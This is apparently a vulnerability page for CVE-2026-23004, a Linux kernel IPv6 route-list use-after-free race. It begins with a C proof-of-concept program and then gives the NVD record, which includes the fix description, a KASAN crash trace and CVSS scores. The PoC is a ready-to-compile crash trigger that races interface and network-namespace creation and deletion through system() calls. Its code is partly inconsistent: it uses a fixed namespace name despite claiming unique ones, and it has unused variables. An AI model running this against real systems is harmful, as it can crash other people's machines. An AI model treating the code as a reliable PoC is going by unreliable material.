CVE-2026-23004

// PoC for CVE-2026-23004 - Race condition in rt6_uncached_list_del() // This PoC demonstrates the race condition that leads to use-after-free // Compile: gcc -o cve_2026_23004_poc cve_2026_23004_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <net/if.h> #define NUM_THREADS 4 void* trigger_race_condition(void* arg) { int thread_id = *(int*)arg; // Trigger network namespace cleanup operations // This creates IPv6 routes that will be cleaned up int sock = socket(AF_INET6, SOCK_DGRAM, 0); if (sock < 0) { perror("socket creation failed"); return NULL; } // Create and delete virtual interfaces rapidly // This triggers addrconf_notify -> netif_close_many -> cleanup_net for (int i = 0; i < 100; i++) { // Rapidly trigger interface changes to cause race in rt6_uncached_list system("ip link add dummy0 type dummy 2>/dev/null"); usleep(1); // Small delay to increase race window system("ip link del dummy0 2>/dev/null"); usleep(1); } close(sock); return NULL; } void* trigger_concurrent_cleanup(void* arg) { int thread_id = *(int*)arg; // Create network namespaces and trigger concurrent cleanup for (int i = 0; i < 50; i++) { system("ip netns add test_ns_XXXX 2>/dev/null"); // Use unique names usleep(5); system("ip netns del test_ns_XXXX 2>/dev/null"); usleep(5); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("CVE-2026-23004 PoC - Linux kernel rt6_uncached_list race condition\n"); printf("This requires root privileges and may cause system crash\n"); // Create threads to trigger concurrent network operations for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; if (i % 2 == 0) { pthread_create(&threads[i], NULL, trigger_race_condition, &thread_ids[i]); } else { pthread_create(&threads[i], NULL, trigger_concurrent_cleanup, &thread_ids[i]); } } // Wait for threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed\n"); printf("Check dmesg for KASAN: slab-use-after-free errors\n"); return 0; }

{"cve": {"id": "CVE-2026-23004", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:55.273", "lastModified": "2026-04-27T14:16:29.243", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndst: fix races in rt6_uncached_list_del() and rt_del_uncached_list()\n\nsyzbot was able to crash the kernel in rt6_uncached_list_flush_dev()\nin an interesting way [1]\n\nCrash happens in list_del_init()/INIT_LIST_HEAD() while writing\nlist->prev, while the prior write on list->next went well.\n\nstatic inline void INIT_LIST_HEAD(struct list_head *list)\n{\n\tWRITE_ONCE(list->next, list); // This went well\n\tWRITE_ONCE(list->prev, list); // Crash, @list has been freed.\n}\n\nIssue here is that rt6_uncached_list_del() did not attempt to lock\nul->lock, as list_empty(&rt->dst.rt_uncached) returned\ntrue because the WRITE_ONCE(list->next, list) happened on the other CPU.\n\nWe might use list_del_init_careful() and list_empty_careful(),\nor make sure rt6_uncached_list_del() always grabs the spinlock\nwhenever rt->dst.rt_uncached_list has been set.\n\nA similar fix is neeed for IPv4.\n\n[1]\n\n BUG: KASAN: slab-use-after-free in INIT_LIST_HEAD include/linux/list.h:46 [inline]\n BUG: KASAN: slab-use-after-free in list_del_init include/linux/list.h:296 [inline]\n BUG: KASAN: slab-use-after-free in rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline]\n BUG: KASAN: slab-use-after-free in rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020\nWrite of size 8 at addr ffff8880294cfa78 by task kworker/u8:14/3450\n\nCPU: 0 UID: 0 PID: 3450 Comm: kworker/u8:14 Tainted: G L syzkaller #0 PREEMPT_{RT,(full)}\nTainted: [L]=SOFTLOCKUP\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nWorkqueue: netns cleanup_net\nCall Trace:\n <TASK>\n dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xca/0x240 mm/kasan/report.c:482\n kasan_report+0x118/0x150 mm/kasan/report.c:595\n INIT_LIST_HEAD include/linux/list.h:46 [inline]\n list_del_init include/linux/list.h:296 [inline]\n rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline]\n rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020\n addrconf_ifdown+0x143/0x18a0 net/ipv6/addrconf.c:3853\n addrconf_notify+0x1bc/0x1050 net/ipv6/addrconf.c:-1\n notifier_call_chain+0x19d/0x3a0 kernel/notifier.c:85\n call_netdevice_notifiers_extack net/core/dev.c:2268 [inline]\n call_netdevice_notifiers net/core/dev.c:2282 [inline]\n netif_close_many+0x29c/0x410 net/core/dev.c:1785\n unregister_netdevice_many_notify+0xb50/0x2330 net/core/dev.c:12353\n ops_exit_rtnl_list net/core/net_namespace.c:187 [inline]\n ops_undo_list+0x3dc/0x990 net/core/net_namespace.c:248\n cleanup_net+0x4de/0x7b0 net/core/net_namespace.c:696\n process_one_work kernel/workqueue.c:3257 [inline]\n process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n kthread+0x711/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n </TASK>\n\nAllocated by task 803:\n kasan_save_stack mm/kasan/common.c:57 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:78\n unpoison_slab_object mm/kasan/common.c:340 [inline]\n __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:366\n kasan_slab_alloc include/linux/kasan.h:253 [inline]\n slab_post_alloc_hook mm/slub.c:4953 [inline]\n slab_alloc_node mm/slub.c:5263 [inline]\n kmem_cache_alloc_noprof+0x18d/0x6c0 mm/slub.c:5270\n dst_alloc+0x105/0x170 net/core/dst.c:89\n ip6_dst_alloc net/ipv6/route.c:342 [inline]\n icmp6_dst_alloc+0x75/0x460 net/ipv6/route.c:3333\n mld_sendpack+0x683/0xe60 net/ipv6/mcast.c:1844\n mld_send_cr net/ipv6/mcast.c:2154 [inline]\n mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693\n process_one_work kernel/workqueue.c:3257 [inline]\n process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n kthread+0x711/0x8a0 kernel/kthread.c:463\n ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entr\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", ... (truncated)